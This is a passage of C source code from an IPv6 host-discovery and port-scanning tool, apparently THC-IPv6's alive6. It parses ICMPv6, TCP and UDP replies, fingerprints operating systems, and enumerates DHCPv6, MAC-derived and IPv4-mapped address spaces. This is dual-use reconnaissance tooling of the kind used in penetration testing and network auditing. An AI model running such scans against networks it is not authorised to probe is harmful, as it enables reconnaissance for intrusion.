NXT_UDP && udpports[0] != -1) if (memcmp(ptr + 42 + offset, (char *)&sp2 + _TAKE2, 2) == 0) { ok = 1; type = RESP_UDP; } if (nxt == NXT_TCP && (portscan || synports[0] != -1 || ackports[0] != -1)) if (memcmp(ptr + 42 + offset, (char *)&sp2 + _TAKE2, 2) == 0) { ok = 1; i = ptr[41 + offset] + (ptr[40 + offset] << 8); snprintf(sport, sizeof(sport), "%d/", i); switch (ptr[53 + offset]) { case (TCP_SYN + TCP_ACK): os = warlord_checkFingerprint(ptr, len); type = RESP_SYNACK; break; case TCP_ACK: type = RESP_ACK; break; case TCP_RST: /* fall through */ case (TCP_RST + TCP_ACK): type = RESP_RST; if (rst_means_alive == 0) ok = 0; break; default: type = RESP_OTHER; } } if (ok == 0 && nxt == NXT_ICMP6) { ok = 2; switch (ptr[40 + offset]) { case 1: switch (ptr[41 + offset]) { case 0: type = RESP_UNREACH_ROUTE; break; case 1: type = RESP_UNREACH_FW; break; case 2: type = RESP_UNREACH_OOSCOPE; break; case 3: type = RESP_UNREACH_ADDR; break; case 4: type = RESP_UNREACH_PORT; break; case 5: type = RESP_UNREACH_GRESS; break; case 6: type = RESP_UNREACH_REJECT; break; default: ok = 0; } break; case 2: type = RESP_TOOBIG; break; case 3: type = RESP_TTLEXCEED; break; case 4: type = RESP_PARAMPROB; break; case 137: type = RESP_REDIR; break; default: ok = 0; } if (ok == 0) { if (slow == 0 || ptr[40] != ICMP6_NEIGHBORADV) { type = RESP_ERROR; snprintf(sport, sizeof(sport), "%d:%d/", ptr[40], ptr[41]); ok = 2; } } else orig_dst = thc_ipv62notation(ptr + 64 + offset + 8); } i = 0; if (verbose < 2) while (ok && i < alive_no) { if (memcmp(alive[i], ptr + 8 + offset, 16) == 0) ok = 0; i++; } if (ok) { if (do_hopcount) sprintf(hopcount, " {hop count: %d}", ptr[7]); if (portscan == 0 || (portscan && (verbose > 2 || (strcmp(type, RESP_UNREACH_PORT) != 0 && strcmp(type, RESP_UNREACH_FW) != 0)))) { if (resolve) he = gethostbyaddr(ptr + 8, 16, AF_INET6); p2 = thc_ipv62notation(ptr + 8); printf("Alive: %s%s%s%s [%s%s%s%s]%s%s%s%s\n", p2, resolve ? " (" : "", resolve && he != NULL ? he->h_name : "", resolve ? ")" : "", sport, type, orig_dst != NULL ? " for " : "", orig_dst != NULL ? (char *)orig_dst : "", hopcount, os == NULL ? "" : " (OS: ", os == NULL ? "" : os, os == NULL ? "" : ")"); if (out != NULL) fprintf(out, "%s%s%s%s\n", p2, resolve ? " (" : "", (resolve && he != NULL) ? he->h_name : "", resolve ? ")" : ""); free(p2); if (orig_dst != NULL) free(orig_dst); if (alive_no < MAX_ALIVE && (alive[alive_no] = malloc(16)) != NULL) { memcpy(alive[alive_no], ptr + 8, 16); alive_no++; if (alive_no == MAX_ALIVE) fprintf(stderr, "Warning: more than %d alive systems detected, disabling " "double results check!\n", MAX_ALIVE); } } } else if (verbose && len >= 96 + sizeof(buf) && nxt == NXT_ICMP6 && ptr[41 + offset] != 4 && ptr[40 + offset] < 4 && ptr[40 + offset] > 0 && ptr[40 + 8 + offset + 6] == NXT_ICMP6) { if (memcmp(ptr + len - 4, (char *)&si + _TAKE2, 2) == 0) { if (resolve) he = gethostbyaddr(ptr + 8, 16, AF_INET6); p2 = thc_ipv62notation(ptr + 8); p3 = thc_ipv62notation(ptr + 24 + 40 + 8 + offset); switch (ptr[40 + offset]) { case 1: p1 = "unreachable"; break; case 2: p1 = "toobig"; break; case 3: p1 = "time-to-live-exceeded"; break; } printf("Warning: %s%s%s%s sent an ICMP %s for %s\n", p2, resolve ? " (" : "", resolve && he != NULL ? he->h_name : "", resolve ? ")" : "", p1, p3); free(p2); free(p3); } } if (still_not_there == 0) { if (ok != 1) still_not_there = 1; else still_not_there = -1; } } void get_ports_from_cmdline(int ports[], char *plist, char param) { int p, c = 0; char mylist[strlen(plist) + 1], *ptr, *ptr2; if (strtok(plist, "0123456789,") != NULL) { fprintf(stderr, "Error: ports must be defined by numbers and separated by a comma, " "e.g. \"-%c 22,53,80\"\n", param); exit(-1); } strcpy(mylist, plist); ptr = mylist; do { if (c >= MAX_PORTS) { fprintf(stderr, "Error: a maximum number of %d ports can be specified\n", MAX_PORTS); exit(-1); } if ((ptr2 = index(ptr, ',')) != NULL) *ptr2++ = 0; p = atoi(ptr); if (p < 0 || p > 65535) { // allow port zero fprintf(stderr, "Error: ports must be between 0 and 65535: %s\n", ptr); exit(-1); } ports[c] = p % 65536; c++; ptr = ptr2; } while (ptr2 != NULL); } int adress4to6(unsigned char *addr6, unsigned int addr4, char *state) { unsigned char a, b, c, d; a = (addr4 >> 24) % 256; b = (addr4 >> 16) % 256; c = (addr4 >> 8) % 256; d = addr4 % 256; memset(addr6 + 8, 0, 8); switch (*state) { case 0: addr6[15] = d; break; case 1: if (d > 9) { // is hex different to decimal? addr6[14] = (d / 100); d = d % 100; if (d > 9) d = (d / 10) * 16 + (d % 10); addr6[15] = d; break; } else *state += 1; // otherwise fall through case 2: addr6[9] = a; addr6[11] = b; addr6[13] = c; addr6[15] = d; break; case 3: if (d > 9 || c > 9 || b > 9 || a > 9) { // is hex different to decimal? addr6[8] = (a / 100); a = a % 100; if (a > 9) a = (a / 10) * 16 + (a % 10); addr6[9] = a; addr6[10] = (b / 100); b = b % 100; if (b > 9) b = (b / 10) * 16 + (b % 10); addr6[11] = b; addr6[12] = (c / 100); c = c % 100; if (c > 9) c = (c / 10) * 16 + (c % 10); addr6[13] = c; addr6[14] = (d / 100); d = d % 100; if (d > 9) d = (d / 10) * 16 + (d % 10); addr6[15] = d; break; } else *state += 1; // otherwise fall through case 4: addr6[12] = a; addr6[13] = b; addr6[14] = c; addr6[15] = d; *state += 1; return 1; // end of state reached break; // not reached default: fprintf(stderr, "Error: invalid address4to6 state %d!\n", *state); exit(-1); } *state += 1; return 0; } int main(int argc, char *argv[]) { unsigned char string[128]; // = "ip6 and dst "; unsigned char *pkt = NULL, *router6 = NULL, *cur_dst, *p2, *p3, *ptr3, *smac, buf2[6]; unsigned char *multicast6 = NULL, *src6 = NULL, *mac = NULL, *rmac = NULL, *routers[2]; int pkt_len = 0, prefer = PREFER_GLOBAL, fromto = 0, dictptr = 0, offset = 14, step = 1; int enumerate_mac = 0, enumerate_dhcp = 0, i, j, k, l, cur_enum = 0, print_only = 0, rand_source = 0; int no_vendid = 0, no_nets = 0, local = -1, no_send = 1, no_send_local = 1, no_send_remote = 2, nos = 0, renew = 0, errcnt, sendrc; char *interface = NULL, *input = NULL, *output = NULL, line[128], line2[128], *ptr, *ptr2, do_router = 0, ok; unsigned int four_from[MAX_FOUR], four_to[MAX_FOUR], addr_cur; unsigned char fcnt = 0, bh, bm, bl, restart, use_dmac = 0, dump_all = 0, inc_next = 0, inc_step = 1; unsigned int ip1, ip2, ip3, ip4, cip1, cip2, cip3, cip4, cip5, cip6, cip7, cip8; unsigned int fip1, fip2, fip3, fip4, fip5, fip6, fip7, fip8, tip1, tip2, tip3, tip4, tip5, tip6, tip7, tip8; unsigned char vendid[MAX_VENDID][11], nets[MAX_NETS][8], orig_dst[16], dmac[27] = {0, 0, 0, 0, 0, 0, 0}; in_addr_t addr4; // unsigned char dns4buf[] = { 0xde, 0xad, 0x01, 0x00, 0x00, 0x01, 0x00, // 0x00, // 0x00, 0x00, 0x00, 0x00, 0x09, 0x6c, 0x6f, 0x63, 0x61, // 0x6c, 0x68, 0x6f, 0x73, 0x74, 0x00, 0x00, 0x01, 0x00, // 0x01 }; unsigned char dns6buf[] = {0xba, 0xbe, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x68, 0x6f, 0x73, 0x74, 0x00, 0x00, 0x1c, 0x00, 0x01}; thc_ipv6_hdr *hdr; time_t passed; pcap_t * p; FILE * in = NULL; time_t timeval; for (i = 0; i < MAX_PORTS; i++) udpports[i] = ackports[i] = synports[i] = -1; if (argc == 1) help(argv[0]); j = 0; while ((i = getopt(argc, argv, "CRhH4:W:w:PSLFdrlMDn:i:o:pvs:a:u:e:VZ:I:Xx:y:T:")) >= 0) { switch (i) { case 'h': do_help++; break; // not reached case 'H': do_hopcount = 1; break; case 'R': rst_means_alive = 0; break; case 'P': print_only = 1; break; case '4': if (fcnt >= MAX_FOUR) { fprintf(stderr, "Error: maximum number of IPv4 addresses supported is %d!\n", MAX_FOUR); exit(-1); } if ((ptr = index(optarg, '/')) == NULL) { if ((addr4 = inet_addr(optarg)) == 0xffffffff) { fprintf(stderr, "Error: option is not a valid IPv4 address: %s\n", optarg); exit(-1); } four_from[fcnt] = htonl(addr4); four_to[fcnt] = htonl(addr4); fcnt++; } else { if ((ptr2 = malloc(strlen(optarg) + 1)) == NULL) { fprintf(stderr, "Error: can not allocate memory\n"); exit(-1); } strcpy(ptr2, optarg); k = 32; if ((ptr = index(ptr2, '/')) != NULL) *ptr++ = 0; if ((k = atoi(ptr)) < 8 || k > 31) { fprintf(stderr, "Error: network size may only be between /8 and /31: %s\n", optarg); exit(-1); } if ((addr4 = htonl(inet_addr(ptr2))) == 0xffffffff) { fprintf(stderr, "Error: option is not a valid IPv4 address: %s\n", ptr2); exit(-1); } free(ptr2); l = 1 << (32 - k); l--; four_to[fcnt] = (addr4 | l); l = 0xffffffff - l; four_from[fcnt] = (addr4 & l); fcnt++; } break; case 'T': tagging = optarg; break; case 'Z': use_dmac = 1; sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0], (unsigned int *)&dmac[1], (unsigned int *)&dmac[2], (unsigned int *)&dmac[3], (unsigned int *)&dmac[4], (unsigned int *)&dmac[5]); break; case 'w': case 'W': waittime = atoi(optarg) * 1000; break; case 'S': slow = 1; break; case 'L': ndp_only = 1; break; case 'V': debug = 1; break; case 'F': do_ping = 1; do_dst = 1; udpports[0] = 53; ackports[0] = 9511; synports[0] = 22; synports[1] = 25; synports[2] = 80; synports[3] = 443; synports[4] = 9511; break; case 'd': resolve = 1; break; case 'r': renew = 1; break; case 'l': prefer = PREFER_LINK; break; case 'm': thc_ipv6_rawmode(1); break; case 'M': enumerate_mac = 1; break; case 'C': case 'D': enumerate_dhcp = 1; if (dict == NULL) dict = dict_small; else dict = dict_large; break; case 'n': no_send_local = no_send_remote = atoi(optarg); break; case 'I': if ((src6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: unable to resolve IPv6 source address %s\n", optarg); exit(-1); } if (index(optarg, '/') != NULL) { if ((p2 = strdup(optarg)) == NULL) { fprintf(stderr, "Error: malloc()\n"); exit(-1); } p3 = index(p2, '/'); *p3++ = 0; if ((i = atoi(p3)) < 8 || i > 120 || i % 8 != 0) { fprintf(stderr, "Error: -I netmask parameter must be a multiple of 8\n"); exit(-1); } rand_source = 16 - (i / 8); } break; case 'i': input = optarg; list++; if (curr == 0) curr = 1; break; case 'o': output = optarg; break; case 'p': do_ping = 1; j = (j | 1); break; case 'v': verbose++; break; case 's': j = (j | 8); if (strcasecmp(optarg, "xxx") == 0 || strncasecmp(optarg, "port", 4) == 0 || strncasecmp(optarg, "scan", 4) == 0) { portscan = 1; if (verbose < 2) verbose = 2; } else get_ports_from_cmdline(synports, optarg, 's'); break; case 'a': j = (j | 8); get_ports_from_cmdline(ackports, optarg, 'a'); break; case 'u': j = (j | 8); get_ports_from_cmdline(udpports, optarg, 'u'); break; case 'e': if (index(optarg, ',') != 0) { do_dst = 1; do_hop = 1; j = (j | 6); } else { if (strncasecmp(optarg, "dst", 3) == 0 || strncasecmp(optarg, "dest", 4) == 0) { do_dst = 1; j = (j | 4); } if (strncasecmp(optarg, "hop", 3) == 0) { do_hop = 1; j = (j | 2); } if (do_hop + do_dst == 0) { fprintf(stderr, "Error: unknown options to error packet option: %s\n", optarg); exit(-1); } } break; case 'X': dump_all = 1; break; case 'x': srcport = atoi(optarg); if (srcport < 0 || srcport > 65535) { fprintf(stderr, "Error: invalid port: %s\n", optarg); exit(-1); } break; case 'y': step = atoi(optarg); if (step < 1 || step > 256) { fprintf(stderr, "Error: invalid step range (valid: 1-256): %s\n", optarg); exit(-1); } break; default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } if (do_help) help(argv[0]); if (slow && ndp_only) { fprintf(stderr, "Error: you can not use the -S and -L options together!\n"); exit(-1); } if (j) { // reset defaults if an alive check type was chosen if ((j & 1) == 0) do_ping = 0; if ((j & 2) == 0) do_hop = 0; if ((j & 4) == 0) do_dst = 0; } if (verbose > 1) fprintf(stderr, "Warning: -vv disables duplicate checks, every packet will be " "logged.\n"); if (no_send < 1 || no_send > 10) { fprintf(stderr, "Error: -n option may only be set between 1 and 10\n"); exit(-1); } if (waittime < 0) { fprintf(stderr, "Error: -W wait time is not a positive value\n"); exit(-1); } if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; if (argv[optind + 1] != NULL && argc >= optind + 2) { ptr = argv[optind + 1]; curr = 0; } else ptr = "ff02::1"; if (ptr != NULL) { // && (index(ptr, ':') == NULL || index(ptr, '-') == NULL)) { if (verbose > 1) printf("Resolving %s ...\n", ptr); if (index(ptr, '/') != NULL) fprintf( stderr, "Warning: network mask is ignored and processed as single host: %s\n", ptr); multicast6 = thc_resolve6(ptr); // if it cant resolve - no problem } if (interface == NULL) { fprintf(stderr, "Error: no interface defined!\n"); exit(-1); } if (multicast6 != NULL && multicast6[0] == 0xfe && multicast6[1] == 0x80) prefer = PREFER_LINK; if (src6 == NULL) { i = _thc_ipv6_showerrors; if (multicast6 != NULL && multicast6[0] == 0xff && multicast6[1] == 0x02) _thc_ipv6_showerrors = 0; if ((src6 = thc_get_own_ipv6(interface, multicast6, prefer)) == NULL) { fprintf(stderr, "Error: no IPv6 address found for interface %s!\n", interface); exit(-1); } _thc_ipv6_showerrors = i; } if ((smac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: no mac address found for interface %s!\n", interface); exit(-1); } if (verbose) printf("Selected source address %s to scan %s\n", thc_ipv62notation(src6), ptr); if (argv[optind + 2] != NULL && argc >= optind + 3) { if (verbose > 1) printf("Resolving %s ...\n", argv[optind + 2]); router6 = thc_resolve6(argv[optind + 2]); do_router = 1; if (use_dmac) mac = dmac; else if ((mac = thc_get_mac(interface, src6, router6)) == NULL) { fprintf( stderr, "Error: could not resolve mac address for destination router %s\n", argv[optind + 2]); exit(-1); } } // strcat(string, thc_ipv62notation(src6)); // thc_dump_data(src6, 16, "SRC6"); if (rand_source || renew != 0) strcpy(string, "ip6"); else sprintf(string, "dst %s", thc_ipv62notation(src6)); if (dump_all == 0) { strcat(string, " and "); if (portscan || synports[0] != -1 || udpports[0] != -1 || ackports[0] != -1) { strcat(string, "( icmp6 or "); if (udpports[0] != -1) strcat(string, "udp "); if (udpports[0] != -1 && (portscan || synports[0] != -1 || ackports[0] != -1)) strcat(string, "or "); if (portscan || synports[0] != -1 || ackports[0] != -1) strcat(string, "tcp "); strcat(string, ")"); } else strcat(string, "icmp6"); } if (multicast6 != NULL && (enumerate_mac || enumerate_dhcp) && input == NULL && multicast6[0] == 0xff) { fprintf(stderr, "Warning: -M/-C options make no sense for multicast addresses and " "are ignored for these\n"); enumerate_dhcp = enumerate_mac = 0; } // make the sending buffer unique si = getpid() % 65536; if (srcport == -1) { sp = 1200 + si % 30000; sp2 = htons(sp); } else { sp = srcport; sp2 = htons(srcport); } memset(vendid, 0, sizeof(vendid)); memset(nets, 0, sizeof(nets)); memset(buf2, 0, sizeof(buf2)); memset(buf, 0, sizeof(buf)); buf2[0] = NXT_INVALID; buf2[1] = 1; if (tagging == NULL) { for (i = 0; i < sizeof(buf) / 2; i++) memcpy(buf + i * 2, (char *)&si + _TAKE2, 2); } else { if (strlen(tagging) > 8) tagging[8] = 0; for (i = 0; i < (sizeof(buf) / strlen(tagging)); i++) memcpy(buf + i * (strlen(tagging)), tagging, strlen(tagging)); } if (debug) printf("Capturing PCAP string: %s\n", string); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if (input != NULL) if ((in = fopen(input, "r")) == NULL) { fprintf(stderr, "Error: could not open file %s\n", input); exit(-1); } if (output != NULL) { if ((out = fopen(output, "w")) == NULL) { fprintf(stderr, "Error: could not create output file %s\n", output); exit(-1); } else setvbuf(out, NULL, _IONBF, 0); // dont buffer output to file - for immediate scripting } // cur_enum states: 0 = as-is, 2 = dhcp, 1 = mac, 3 = from-to, 4 = ipv4 // curr states: 0 = cmdline, 1.. = line no. in input file setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (verbose) { timeval = time(NULL); printf("Starting alive6 %s (c) 2020 by van Hauser / THC at %s\n", VERSION, ctime(&timeval)); } if (renew && src6[0] > 0xfd && (multicast6 != NULL && multicast6[0] > 0xfd)) prefer = PREFER_LINK; while (curr <= list) { ok = 1; local = -1; if (cur_enum == 0) { if (curr == 0) { // the command line target first - if present cur_dst = multicast6; } else { // input file processing, if present if (feof(in)) curr++; line[0] = 0; ptr = fgets(line, sizeof(line), in); ptr = NULL; line[sizeof(line) - 1] = 0; j = strlen(line); if (j > 0) if (line[j - 1] == '\n') { line[j - 1] = 0; j--; } if (j > 0) if (line[j - 1] == '\r') { line[j - 1] = 0; j--; } if (j > 0) { ptr = line + j - 1; while (*ptr == ' ' || *ptr == '\t') *ptr-- = 0; ptr = line; while (*ptr == ' ' || *ptr == '\t') ptr++; if (*ptr == '#') ptr = NULL; } else ok = 0; } // from here for both target input options if (ptr != NULL && (index(ptr, '-') != NULL && index(ptr, '.') == NULL) && index(ptr, ':') != NULL) { fromto = 1; cur_enum = 3; } else { if (ok && verbose > 1) printf("Resolving %s ...\n", ptr); if ((cur_dst = thc_resolve6(ptr)) == NULL) { if (ok) { fprintf(stderr, "Warning: could not resolve %s, skipping\n", ptr); } else { if (index(ptr, '/') != NULL) fprintf(stderr, "Warning: network mask is ignored and processed as " "single host: %s\n", ptr); } ok = 0; } else { memcpy(orig_dst, cur_dst, 16); local = thc_is_dst_local(interface, cur_dst); if (enumerate_dhcp || fcnt > 0) { /* if (local > 0) { if (cur_dst[0] != 0xff) if ((p2 = thc_ipv62notation(cur_dst)) != NULL) { fprintf(stderr, "Warning: enumeration on local address %s disabled, use ff02::1!\n", p2); free(p2); } } else*/ { i = 0; if (no_nets > 0) for (j = 0; j < no_nets; j++) if (memcmp(nets[j], cur_dst, 8) == 0) i = 1; if (i == 0) { if (enumerate_dhcp) cur_enum = 2; else cur_enum = 4; restart = 1; if (no_nets < MAX_NETS) { memcpy(nets[no_nets], cur_dst, 8); no_nets++; if (no_nets == MAX_NETS) fprintf(stderr, "Warning: more than %d networks found, disabling " "double network check!\n", MAX_VENDID); } } else { ok = -1; // already scanned } } } else if (enumerate_mac && cur_dst[11] == 0xff && cur_dst[12] == 0xfe) { i = 0; if (no_vendid > 0) for (j = 0; j < no_vendid; j++) if (memcmp(vendid[j], cur_dst, 11) == 0) i = 1; if (i == 0) { cur_enum = 1; restart = 1; } else ok = -1; // already scanned } else if (fcnt) { cur_enum = 4; restart = 1; } } } if (cur_enum == 0 && curr == 0) curr++; } else if (cur_enum == 1) { // enumeration of vendor-id keyspaces identified, lowest 3 bytes of ipv6 if (restart) { restart = 0; bl = bm = bh = 0; memcpy(cur_dst, orig_dst, 16); memset(cur_dst + 13, 0, 3); if (verbose) { p2 = thc_ipv62notation(cur_dst); printf("Info: started autoconfiguration address space scan on %s\n", p2); free(p2); } if (no_vendid < MAX_VENDID) { memcpy(vendid[no_vendid], cur_dst, 11); no_vendid++; if (no_vendid == MAX_VENDID) fprintf(stderr, "Warning: more than %d vendor ids found, disabling double " "vendor id check!\n", MAX_VENDID); } } else { if (bl == 255) { bl = 0; if (bm == 255) { bm = 0; bh++; cur_dst[13] = bh; } else { bm++; } cur_dst[14] = bm; } else { bl++; if (bh == 255 && bm == 255 && bl == 255) { if (fcnt) { cur_enum = 4; restart = 1; } else { cur_enum = 0; if (curr == 0) curr++; } } } } cur_dst[15] = bl; } else if (cur_enum == 2) { // enumeration of common dhcp6 address space, // using dict[] ranges, approx. 2200 addresses if (restart) { memcpy(cur_dst, orig_dst, 16); memset(cur_dst + 8, 0, 8); if (verbose) { p2 = thc_ipv62notation(cur_dst); printf("Info: started common address space scan on %s\n", p2); free(p2); } restart = 0; ip1 = ip2 = ip3 = ip4 = 0; // only because dict starts with 0 dictptr = 0; } else { if (ip4 < dict[dictptr + 7]) ip4++; else if (ip3 < dict[dictptr + 6]) { ip3++; ip4 = dict[dictptr + 3]; } else if (ip2 < dict[dictptr + 5]) { ip2++; ip3 = dict[dictptr + 2]; ip4 = dict[dictptr + 3]; } else if (ip1 < dict[dictptr + 4]) { ip1++; ip2 = dict[dictptr + 1]; ip3 = dict[dictptr + 2]; ip4 = dict[dictptr + 3]; } else { dictptr += 8; ip1 = dict[dictptr]; ip2 = dict[dictptr + 1]; ip3 = dict[dictptr + 2]; ip4 = dict[dictptr + 3]; } cur_dst[8] = ip1 / 256; cur_dst[9] = ip1 % 256; cur_dst[10] = ip2 / 256; cur_dst[11] = ip2 % 256; cur_dst[12] = ip3 / 256; cur_dst[13] = ip3 % 256; cur_dst[14] = ip4 / 256; cur_dst[15] = ip4 % 256; if (ip1 == ip2 && ip1 == ip3 && ip1 == ip4 && ip1 == 0xffff) { // end of dict if (enumerate_mac && orig_dst[11] == 0xff && orig_dst[12] == 0xfe) { i = 0; if (no_vendid > 0) for (j = 0; j < no_vendid; j++) if (memcmp(vendid[j], orig_dst, 11) == 0) i = 1; if (i == 0) { cur_enum = 1; restart = 1; } else cur_enum = 0; } else { if (fcnt) { cur_enum = 4; restart = 1; } else { cur_enum = 0; } } if (curr == 0 && cur_enum == 0) curr++; } } } else if (cur_enum == 4) { // -4 option if (restart) { // bl = return, bm = fcnt_counter, bh = state if (verbose) { p2 = thc_ipv62notation(cur_dst); printf("Info: started IPv4 address space scan on %s\n", p2); free(p2); } restart = 0; bl = bm = bh = 0; addr_cur = four_from[bm]; } memcpy(cur_dst, orig_dst, 16); bl = adress4to6(cur_dst, addr_cur, &bh); // printf("return %d, state now %d, fcnt is %d\n", bl, bh, bm); if (bl == 1) { // done addr_cur state addr_cur++; bh = 0; if (addr_cur > four_to[bm]) { bm++; if (bm < fcnt) { addr_cur = four_from[bm]; } else { cur_enum = 0; if (curr == 0) curr++; } } } } // else if (cur_enum == 3) { if (fromto) { fromto = 0; ok = 1; // init if (strlen(ptr) > 80) { ok = 0; } else { if (curr != 0) { memcpy(line2, line, 80); ptr = line2; line2[80] = 0; } memset(line, 0, 80); i = j = k = 0; while (i == 0) { while (ptr[k] != '-' && k < 80 && ptr[k] != 0) line[j++] = ptr[k++]; if (ptr[k] == '-') while (ptr[k] != ':' && k < 80 && ptr[k] != 0) k++; if (ptr[k] != ':') i = 1; } if (verbose > 1) printf("Resolving %s ...\n", line); // printf("ptr: %s, line %s, cur_dst %s, multicast6 %s\n", ptr, line, // cur_dst, multicast6); if ((cur_dst = thc_resolve6(line)) == NULL) { ok = 0; } else { memset(line, 0, 80); j = k = strlen(ptr) - 1; while (i == 1) { while (ptr[k] != '-' && k >= 0 && ptr[k] != 0) line[j--] = ptr[k--]; if (ptr[k] == '-') while (ptr[k] != ':' && k >= 0 && ptr[k] != 0) k--; if (ptr[k] != ':') i = 0; } } ptr2 = &line[j + 1]; if (verbose > 1) printf("Resolving %s ...\n", ptr2); if ((ptr3 = thc_resolve6(ptr2)) == NULL) { ok = 0; } else { cip1 = fip1 = (cur_dst[0] << 8) + (unsigned char)cur_dst[1]; cip2 = fip2 = (cur_dst[2] << 8) + (unsigned char)cur_dst[3]; cip3 = fip3 = (cur_dst[4] << 8) + (unsigned char)cur_dst[5]; cip4 = fip4 = (cur_dst[6] << 8) + (unsigned char)cur_dst[7]; cip5 = fip5 = (cur_dst[8] << 8) + (unsigned char)cur_dst[9]; cip6 = fip6 = (cur_dst[10] << 8) + (unsigned char)cur_dst[11]; cip7 = fip7 = (cur_dst[12] << 8) + (unsigned char)cur_dst[13]; cip8 = fip8 = (cur_dst[14] << 8) + (unsigned char)cur_dst[15]; tip1 = (ptr3[0] << 8) + (unsigned char)ptr3[1]; tip2 = (ptr3[2] << 8) + (unsigned char)ptr3[3]; tip3 = (ptr3[4] << 8) + (unsigned char)ptr3[5]; tip4 = (ptr3[6] << 8) + (unsigned char)ptr3[7]; tip5 = (ptr3[8] << 8) + (unsigned char)ptr3[9]; tip6 = (ptr3[10] << 8) + (unsigned char)ptr3[11]; tip7 = (ptr3[12] << 8) + (unsigned char)ptr3[13]; tip8 = (ptr3[14] << 8) + (unsigned char)ptr3[15]; if (fip1 > tip1 || fip2 > tip2 || fip3 > tip3 || fip4 > tip4 || fip5 > tip5 || fip6 > tip6 || fip7 > tip7 || fip8 > tip8) ok = 0; if (ok && verbose) { p2 = thc_ipv62notation(cur_dst); p3 = thc_ipv62notation(ptr3); printf("Info: started range address scan from %s to %s \n", p2, p3); free(p2); free(p3); } free(ptr3); } } if (ok) { memcpy(orig_dst, cur_dst, 16); } else { fprintf(stderr, "Error: range is invalid: %s, skipping\n", ptr); cur_enum = 0; if (curr == 0) curr++; } } else { inc_step = 1; inc_next = 0; // printf("%d S: %04x-%04x=%04x %04x-%04x=%04x %04x-%04x=%04x // %04x-%04x=%04x %04x-%04x=%04x %04x-%04x=%04x %04x-%04x=%04x // %04x-%04x=%04x\n", ok, fip1, tip1, cip1, fip2, tip2, cip2, fip3, tip3, // cip3, fip4, tip4, cip4, fip5, tip5, cip5, fip6, tip6, cip6, fip7, // tip7, cip7, fip8, tip8, cip8); if (fip8 != tip8 && (inc_step || inc_next)) { if (inc_step) { inc_step = 0; if (cip8 + step <= tip8) { cip8 += step; } else { cip8 = fip8 + (step + cip8 - tip8); if (step != 256) cip8--; inc_next = 1; } } else { if (cip8 < tip8) { cip8++; inc_next = 0; } else { cip8 = fip8; } } } if (fip7 != tip7 && (inc_step || inc_next)) { if (inc_step) { inc_step = 0; if (cip7 + step <= tip7) { cip7 += step; } else { cip7 = fip7 + (step + cip7 - tip7); if (step != 256) cip7--; inc_next = 1; } } else { if (cip7 < tip7) { cip7++; inc_next = 0; } else { cip7 = fip7; } } } if (fip6 != tip6 && (inc_step || inc_next)) { if (inc_step) { inc_step = 0; if (cip6 + step <= tip6) { cip6 += step; } else { cip6 = fip6 + (step + cip6 - tip6); if (step != 256) cip6--; inc_next = 1; } } else { if (cip6 < tip6) { cip6++; inc_next = 0; } else { cip6 = fip6; } } } if (fip5 != tip5 && (inc_step || inc_next)) { if (inc_step) { inc_step = 0; if (cip5 + step <= tip5) { cip5 += step; } else { cip5 = fip5 + (step + cip5 - tip5); if (step != 256) cip5--; inc_next = 1; } } else { if (cip5 < tip5) { cip5++; inc_next = 0; } else { cip5 = fip5; } } } if (fip4 != tip4 && (inc_step || inc_next)) { if (inc_step) { inc_step = 0; if (cip4 + step <= tip4) { cip4 += step; } else { cip4 = fip4 + (step + cip4 - tip4); if (step != 256) cip4--; inc_next = 1; } } else { if (cip4 < tip4) { cip4++; inc_next = 0; } else { cip4 = fip4; } } } if (fip3 != tip3 && (inc_step || inc_next)) { if (inc_step) { inc_step = 0; if (cip3 + step <= tip3) { cip3 += step; } else { cip3 = fip3 + (step + cip3 - tip3); if (step != 256) cip3--; inc_next = 1; } } else { if (cip3 < tip3) { cip3++; inc_next = 0; } else { cip3 = fip3; } } } if (fip2 != tip2 && (inc_step || inc_next)) { if (inc_step) { inc_step = 0; if (cip2 + step <= tip2) { cip2 += step; } else { cip2 = fip2 + (step + cip2 - tip2); if (step != 256) cip2--; inc_next = 1; } } else { if (cip2 < tip2) { cip2++; inc_next = 0; } else { cip2 = fip2; } } } if (fip1 != tip1 && (inc_step || inc_next)) { if (inc_step) { inc_step = 0; if (cip1 + step <= tip1) { cip1 += step; } else { cip1 = fip1 + (step + cip1 - tip1); if (step != 256) cip1--; inc_next = 1; } } else { if (cip1 < tip1) { cip1++; inc_next = 0; } else { cip1 = fip1; } } } if (inc_step || inc_next) // we are done ok = 0; // printf("%d E: %04x-%04x=%04x %04x-%04x=%04x %04x-%04x=%04x // %04x-%04x=%04x %04x-%04x=%04x %04x-%04x=%04x %04x-%04x=%04x // %04x-%04x=%04x\n", ok, fip1, tip1, cip1, fip2, tip2, cip2, fip3, tip3, // cip3, fip4, tip4, cip4, fip5, tip5, cip5, fip6, tip6, cip6, fip7, // tip7, cip7, fip8, tip8, cip8); cur_dst[0] = cip1 / 256; cur_dst[1] = cip1 % 256; cur_dst[2] = cip2 / 256; cur_dst[3] = cip2 % 256; cur_dst[4] = cip3 / 256; cur_dst[5] = cip3 % 256; cur_dst[6] = cip4 / 256; cur_dst[7] = cip4 % 256; cur_dst[8] = cip5 / 256; cur_dst[9] = cip5 % 256; cur_dst[10] = cip6 / 256; cur_dst[11] = cip6 % 256; cur_dst[12] = cip7 / 256; cur_dst[13] = cip7 % 256; cur_dst[14] = cip8 / 256; cur_dst[15] = cip8 % 256; if (ok == 0) { cur_enum = 0; if (enumerate_dhcp) { /* if (local) { if (cur_dst[0] != 0xff) { p2 = thc_ipv62notation(orig_dst); fprintf(stderr, "Warning: enumeration on local address %s disabled, use ff02::1!\n", p2); free(p2); } } else */ { i = 0; if (no_nets > 0) for (j = 0; j < no_nets; j++) if (memcmp(nets[j], cur_dst, 8) == 0) i = 1; if (i == 0) { cur_enum = 2; restart = 1; if (no_nets < MAX_NETS) { memcpy(nets[no_nets], cur_dst, 8); no_nets++; if (no_nets == MAX_NETS) fprintf(stderr, "Warning: more than %d networks found, disabling " "double 